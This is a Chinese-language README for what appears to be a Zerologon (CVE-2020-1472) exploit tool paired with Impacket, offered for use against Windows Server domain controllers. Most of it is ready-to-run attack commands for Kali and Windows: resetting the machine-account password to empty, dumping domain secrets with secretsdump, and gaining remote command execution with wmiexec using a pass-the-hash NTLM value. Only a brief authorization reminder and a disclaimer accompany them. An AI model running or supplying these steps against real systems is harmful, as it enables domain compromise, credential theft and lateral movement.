Zerologon 与 Impacket 组合利用工具（CVE-2020-1472）

本仓库包含 Zerologon 漏洞利用的更新实现（2024 年），并结合 Impacket 工具来利用 CVE-2020-1472（Zerologon）。该利用工具针对 Windows Server 环境，用于操控机器账户密码并执行横向移动。

功能

• 利用 CVE-2020-1472（Zerologon）将目标的机器账户密码设置为空字符串。
• 借助 Impacket 工具转储凭据并在受害机器上执行命令。

需求

1. Python 3.x
2. 运行以下命令安装所需依赖：

   pip install -r requirements.txt
   

使用说明

示例场景

• 受害者：Windows Server 2016
• 攻击者：Kali Linux（或 Windows 系统）

利用命令（Kali Linux）

1. 将机器账户密码设置为空字符串：

   python3 set_empty_pw.py WIN-C9PAHHGJN91 192.168.40.145
   

2. 转储域控制器中的秘密：

   python3 secretsdump.py -just-dc tancongmang/WIN-C9PAHHGJN91\[email protected]
   

3. 在受害机器上执行命令：

   python3 wmiexec.py tancongmang/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:579da618cfbfa85247acf1f800a280a4
   

利用命令（Windows 攻击者）

1. 将机器账户密码设置为空字符串：

   python set_empty_pw.py WIN-C9PAHHGJN91 192.168.40.145
   

2. 转储域控制器中的秘密：

   python secretsdump.py -just-dc "tancongmang/[email protected]"
   

3. 在受害机器上执行命令：

   python wmiexec.py tancongmang/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:579da618cfbfa85247acf1f800a280a4
   

注意事项

• 将 WIN-C9PAHHGJN91 和 192.168.40.145 替换为目标的实际主机名和 IP 地址。
• 确保在使用此工具前已获得适当授权。
• 此工具仅用于教育和渗透测试目的。

免责声明

请负责任地使用此工具。未经明确许可利用此工具攻击系统是违法且不道德的。作者不对因滥用或使用此工具造成的任何损失负责。